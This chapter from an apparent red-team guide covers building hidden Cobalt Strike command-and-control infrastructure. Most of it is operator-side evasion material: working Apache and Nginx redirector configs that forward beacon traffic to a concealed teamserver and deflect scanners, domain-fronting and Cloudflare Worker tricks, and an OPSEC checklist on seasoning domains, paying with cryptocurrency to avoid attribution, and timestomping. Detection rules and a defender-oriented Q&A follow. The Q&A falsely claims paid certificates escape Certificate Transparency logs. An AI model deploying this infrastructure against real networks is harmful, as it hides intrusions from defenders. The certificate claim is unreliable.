Chapter 158

C2 Infrastructure Design and Redirectors

A mature C2 infrastructure is built in layers so that a burned implant or detected domain does not expose the teamserver, and so that defenders analyzing traffic see only a legitimate cloud CDN rather than an offensive tool. This chapter covers the full architecture — redirectors, categorization, Domain Fronting, Apache/Nginx redir configurations — and explains exactly what each layer is designed to hide and from whom.

Scenario

Your Cobalt Strike teamserver IP has been submitted to VirusTotal by an alert SOC analyst at a prior target. All future beacons hardcoded to that IP are burned. You need to rebuild infrastructure so that: (1) no future beacon contains the teamserver IP or a domain that resolves to it, (2) the teamserver can be rotated without recompiling implants, and (3) your traffic blends with existing cloud CDN traffic patterns already trusted by the target's proxy rules.

C2 Architecture Overview

Layered C2 infrastructure (3-tier): [IMPLANT] ──HTTPS──▶ [CDN / Domain Front] │ SNI = legit-cdn.cloud (trusted) │ Host header = redir.attacker.com ▼ [REDIRECTOR VPS 1] (do not log; firewall to teamserver only) Apache/Nginx mod_rewrite │ Forward only if URI matches beacon pattern │ Serve real 200 decoy otherwise ▼ [TEAMSERVER] (private IP / RFC1918 / no public firewall) Cobalt Strike / Havoc / Sliver port 50050 / operator only via VPN Why each layer: CDN: hides redirector IP; traffic looks like O365/Azure/Cloudflare to proxy Redirector: absorbs IOC burndown — rotate VPS without re-compiling beacon Firewall on redirector: only accept 443 from CDN IP ranges; drop scanners Teamserver: RFC1918 only; never directly reachable from internet

Redirector Types and When to Use Each

Redirector TypeSetup complexityDefense bypassBurns when…
Dumb TCP forwarder (socat/iptables)TrivialLow — full traffic seen at VPSVPS IP submitted to blocklist
Apache mod_rewriteLowMedium — can serve 404/decoy to scannersVPS IP burned
Nginx proxy_passLowMedium — SNI passthrough possibleVPS IP burned
Cloudflare WorkerMediumHigh — IP is Cloudflare; geo-filteredDomain burned (Worker URL)
Domain Fronting via CDNHighVery high — SNI ≠ real targetFronted CDN blocks CONNECT abuse
DNS C2 (dnscat2/iodine)MediumHigh in restrictive egressDomain burned in DNS logs

Apache mod_rewrite Redirector

The redirector serves a legitimate-looking decoy page to any client that doesn't match the expected beacon user-agent and URI pattern. Scanners, blue-teamers, and automated infrastructure scanners get a real 200 response — the teamserver IP is never revealed to them.

# /etc/apache2/sites-enabled/redir.conf
# Requirements: mod_rewrite, mod_proxy, mod_proxy_http, mod_ssl

<VirtualHost *:443>
    ServerName redir.yourdomain.com
    SSLEngine On
    SSLCertificateFile    /etc/letsencrypt/live/redir.yourdomain.com/fullchain.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/redir.yourdomain.com/privkey.pem

    # Don't reveal this is a redirector
    ServerTokens Prod
    ServerSignature Off

    # Log access (or don't — operational choice)
    CustomLog /var/log/apache2/redir_access.log combined
    ErrorLog  /var/log/apache2/redir_error.log

    RewriteEngine On

    # --- Only forward requests matching the beacon URI pattern ---
    # Cobalt Strike malleable C2: beacon checks in with /jquery-3.3.2.slim.min.js
    # and sends tasks from /Consent/Manage (example malleable profile URIs)

    # Condition 1: user-agent must match expected (from malleable profile)
    RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(compatible; MSIE 9\.0; Windows NT 6\.1\)" [NC]

    # Condition 2: URI must match beacon pattern
    RewriteCond %{REQUEST_URI} "^/jquery-[0-9a-z.]+\.min\.js$" [OR]
    RewriteCond %{REQUEST_URI} "^/Consent/Manage" [OR]
    RewriteCond %{REQUEST_URI} "^/api/v[0-9]/update$"

    # Forward matched traffic to teamserver (internal IP / VPN)
    RewriteRule ^.*$ https://10.0.0.100:443%{REQUEST_URI} [P,L]
    ProxyPassReverse / https://10.0.0.100:443/

    # --- Everything else: serve a decoy ---
    # Redirect to Microsoft to appear as a legitimate Microsoft-associated CDN
    RewriteRule ^.*$ https://www.microsoft.com/ [R=302,L]
</VirtualHost>

# Firewall rule (iptables): only allow inbound 443 from CDN IP ranges
# iptables -A INPUT -p tcp --dport 443 -s 104.16.0.0/12 -j ACCEPT   # Cloudflare
# iptables -A INPUT -p tcp --dport 443 -j DROP

Nginx Redirector with SNI Passthrough

# Nginx stream (layer 4) redirector — forwards TLS without terminating.
# Teamserver sees real client IP in logs.
# Useful when teamserver has its own TLS cert the beacon trusts directly.

# /etc/nginx/nginx.conf
stream {
    map $ssl_preread_server_name $backend {
        c2.attacker.com   10.0.0.100:443;   # matched SNI → teamserver
        default           127.0.0.1:8080;   # unmatched → decoy nginx
    }

    server {
        listen 443;
        proxy_pass       $backend;
        ssl_preread      on;            # read SNI without terminating TLS
        proxy_timeout    20s;
        proxy_connect_timeout 5s;
    }
}

http {
    # Decoy web server on :8080
    server {
        listen 8080;
        root /var/www/decoy;
        index index.html;
        location / { try_files $uri /index.html; }
    }
}

# SNI passthrough means:
# - TLS certificate must be on the teamserver, not the redirector
# - The SNI name (c2.attacker.com) must resolve to redirector's IP
# - Beacon connects to redirector IP but presents SNI for teamserver cert

CDN Domain Fronting

Domain Fronting concept: Normal TLS: SNI = c2.evil.com ──▶ blocks at proxy/firewall Fronted TLS: SNI = legit.azurefd.net ──▶ proxy allows (trusted CDN IP) Host: c2.evil.com ──▶ CDN routes internally to c2.evil.com backend Browser/beacon sends: TCP connect: 13.107.21.200 (Azure CDN) TLS SNI: legit-customer.azurefd.net ← proxy/IDS sees THIS HTTP Host: c2.attacker.azurefd.net ← CDN routes on THIS ← beacon actually reaches attacker backend Status (2026): Azure Front Door: BLOCKED domain fronting (same-tenant restriction since 2021) AWS CloudFront: BLOCKED (2019) Cloudflare: SNI/Host mismatch rejected at edge Azure CDN Classic: historically allowed but increasingly restricted Fastly: Some configurations still possible (varies by plan) meek (Tor): Maintained for censorship circumvention via Azure/GAE Practical alternative: Cloudflare Workers + custom SNI Create a Worker that fetches from teamserver: - SNI to proxy = workers.dev (Cloudflare — trusted) - Worker code proxies to real teamserver IP - Worker URL burned? Deploy new Worker in 30 seconds

Infrastructure OPSEC Checklist

Domain purchasing and categorization: [ ] Purchase domain 6-8 weeks before operation (age bypass for new-domain checks) [ ] Register with privacy WHOIS service [ ] Choose domain that matches target's industry (tech, finance, healthcare) [ ] Submit to Bluecoat/Symantec/Webpulse for pre-categorization as "Business" [ ] Point to a real content site initially — establish legitimate reputation [ ] Wait for categorization confirmation before switching to C2 use VPS/redirector hygiene: [ ] Purchase with cryptocurrency to avoid CC attribution [ ] Order from different provider than prior ops [ ] SSH key-only auth, non-standard SSH port [ ] Disable password authentication globally [ ] No user-identifying SSH banners or server headers [ ] Firewall: whitelist only CDN IP ranges → 443, whitelist only operator IPs → 22 [ ] Ensure /var/log/apache2 does NOT contain operator IP [ ] Enable full-disk encryption Teamserver isolation: [ ] RFC1918 only — never expose teamserver port to internet [ ] Operator access via WireGuard/OpenVPN only [ ] Listener malleable profile: obfuscate beacon traffic pattern [ ] Rotate listener domains after each target domain [ ] Timestomp any files placed on teamserver Beacon OPSEC: [ ] Remove Cobalt Strike default watermarks (license ID in beacon) [ ] Disable staged payloads if not needed (stageless = no stager exposure) [ ] Sleep with jitter: sleep 60 jitter 50 (avoids 60-second beacon interval IOC) [ ] Spawnto: point to non-default binary (not rundll32.exe) [ ] Malleable C2: remove default staging URIs and user-agents

Detection Engineering

title: Beacon to CDN with Suspicious URI Pattern
logsource:
  product: windows
  category: proxy
detection:
  selection:
    cs-host|contains:
      - 'azurefd.net'
      - 'cloudfront.net'
      - 'workers.dev'
    cs-uri-stem|re: '^/(jquery-|moment-|bootstrap-).*\.min\.js$'
    cs-method: GET
  filter_legit:
    cs-referer|contains: 'https://'   # referer present = browser, not beacon
  condition: selection AND NOT filter_legit
level: medium
tags: [attack.command_and_control, T1071.001]

title: Beaconing: Periodic HTTPS to Same Host (Low Jitter)
logsource:
  product: zeek
  service: conn
detection:
  selection:
    id.resp_p: 443
    duration|lt: 1       # very short connections = checkin, not browsing
  condition: selection
level: low
falsepositives: [Analytics beacons, telemetry, update checks]
note: Requires Zeek conn.log aggregation with time-bucket analysis to detect regularity

-- MDE KQL: detect new domain first seen today that received regular POSTs
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 443
| summarize
    request_count = count(),
    first_seen = min(Timestamp),
    last_seen = max(Timestamp),
    unique_processes = dcount(InitiatingProcessFileName)
    by DeviceName, RemoteUrl
| where request_count > 20
| where first_seen > ago(1d)            // domain never seen before today
| where unique_processes == 1           // only one process talking to it
| project DeviceName, RemoteUrl, request_count, first_seen, last_seen

Q&A

What does "burning" a C2 domain mean operationally, and what signals tell a defender a domain should be blocked?

A C2 domain is "burned" when it has been associated with offensive activity in a way that causes defenders to add it to blocklists or start hunting for systems that have contacted it. The most direct path is a victim organization submitting it to threat intelligence feeds (VirusTotal, Shodan, Pulsedive, AbuseIPDB), after which automated blocklist systems propagate the entry globally within hours. Once a domain appears in any major threat feed, proxies, firewalls, and EDR network inspection modules will block it immediately for all customers sharing that feed.

The signals defenders use to identify a suspicious domain and start that burn process include: (1) New domain age: domains registered within the past 30 days have no reputation and are blocked by default by many enterprise proxies. This is why experienced operators register and "season" domains months before use. (2) DNS patterns: a domain with only an A record and no MX, no SPF, no DMARC, and no web content is unusual for any legitimate business. (3) Reverse DNS: if the PTR record of the IP resolves to a generic VPS hostname (e.g., 198-51-100-42.vps-provider.com), it signals a disposable VPS. (4) Traffic regularity: a host making POST requests to the same domain every 60 seconds, with short round-trip times and no browsing context (no referer, no cookies), is characteristic of beacon check-in rather than human browsing. (5) Certificate transparency: Let's Encrypt certificates are logged in CT logs — a new cert for a previously unknown domain is a hunted signal. Operators counter by purchasing paid certs (no CT log delay), using wildcard certs, or establishing the domain with a real web presence before the cert changes. For defenders, the practical response to a burn event is: identify all hosts that have contacted the burned indicator over the retention window, threat hunt those hosts for lateral movement, and correlate with authentication events.